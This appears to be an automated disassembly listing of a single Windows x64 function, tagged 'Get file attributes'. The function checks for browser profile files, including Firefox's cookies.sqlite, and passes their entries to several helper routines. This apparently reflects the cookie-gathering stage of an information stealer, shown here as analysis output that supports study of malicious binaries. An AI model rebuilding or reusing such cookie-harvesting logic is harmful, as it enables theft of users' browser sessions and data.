Function at 0x140005a3c
Capabilities:
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rdx + 0x10]
movabs rbx, 0x7ffffffffffffffe
mov rax, rbx
sub rax, rcx
cmp rax, 0xc
jb 0x140005ce3
mov r9, rdx
cmp qword [rdx + 0x18], 8
jb 0x140005a8a
mov r9, qword [rdx]
mov qword [rsp + 0x30], recv
lea rax, [0x14003f3f0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x17]
call fcn.140006f04
nop
mov rax, qword [rdi + 0x10]
sub rbx, rax
cmp rbx, 0xf
jb 0x140005cdd
mov r9, rdi
cmp qword [rdi + 0x18], 8
jb 0x140005acc
mov r9, qword [rdi]
mov qword [rsp + 0x30], recv
lea rcx, str.cookies.sqlite
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 9]
call fcn.140006f04
nop
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 8
cmovae rcx, qword [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ebx, 0xffffffff
cmp eax, ebx
je 0x140005c42
test al, 0x10
jne 0x140005c42
xor ebx, ebx
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x39], rbx
mov qword [rbp - 0x31], rbx
mov rdx, rdi
lea rcx, [rbp - 0x49]
call fcn.140006870
lea rdx, [rbp - 0x49]
mov rcx, rsi
call fcn.140002554
test al, al
je 0x140005ca8
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov rdx, rdi
lea rcx, [rbp - 0x29]
call fcn.140006870
lea rdx, [rbp - 0x29]
call fcn.140005cec
mov r14, rax
mov r15d, ebx
cmp dword [rax + 8], ebx
jle 0x140005c85
movsxd rdx, r15d
shl rdx, 5
add rdx, qword [r14]
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x39], rbx
mov qword [rbp - 0x31], rbx
lea rcx, [rbp - 0x49]
call fcn.140006870
nop
mov qword [rbp - 0x69], rbx
mov qword [rbp - 0x59], rbx
mov qword [rbp - 0x51], rbx
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x69]
call fcn.140006870
lea rdx, [rbp - 0x69]
mov rcx, rsi
call fcn.1400032e0
mov qword [rbp - 0x69], rbx
mov qword [rbp - 0x59], rbx
mov qword [rbp - 0x51], rbx
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x69]
call fcn.140006870
lea rdx, [rbp - 0x69]
mov rcx, rsi
call fcn.140003d20
mov qword [rbp - 0x69], rbx
mov qword [rbp - 0x59], rbx
mov qword [rbp - 0x51], rbx
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x69]
call fcn.140006870
lea rdx, [rbp - 0x69]
mov rcx, rsi
call fcn.140004498
mov qword [rbp - 0x69], rbx
mov qword [rbp - 0x59], rbx
mov qword [rbp - 0x51], rbx
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x69]
call fcn.140006870
lea rdx, [rbp - 0x69]
mov rcx, rsi
call fcn.140004b34
nop
lea rcx, [rbp - 0x49]
call fcn.140006790
inc r15d
cmp r15d, dword [r14 + 8]
jl 0x140005b75
jmp 0x140005c85
lea rcx, [rbp - 9]
cmp qword [rbp + 0xf], 8
cmovae rcx, qword [rbp - 9]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, ebx
je 0x140005ca8
test al, 0x10
jne 0x140005ca8
xor ebx, ebx
mov qword [rbp - 0x69], rbx
mov qword [rbp - 0x59], rbx
mov qword [rbp - 0x51], rbx
mov rdx, rdi
lea rcx, [rbp - 0x69]
call fcn.140006870
lea rdx, [rbp - 0x69]
mov rcx, rsi
call fcn.14000510c
nop
lea rcx, [rbp - 9]
call fcn.140006790
nop
lea rcx, [rbp + 0x17]
call fcn.140006790
nop
mov rcx, rdi
call fcn.140006790
mov eax, 1
jmp 0x140005cc6
lea rcx, [rbp - 9]
call fcn.140006790
nop
lea rcx, [rbp + 0x17]
call fcn.140006790
nop
mov rcx, rdi
call fcn.140006790
xor eax, eax
mov rbx, qword [rsp + 0x110]
add rsp, 0xe0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140001740
nop
call fcn.140001740
int3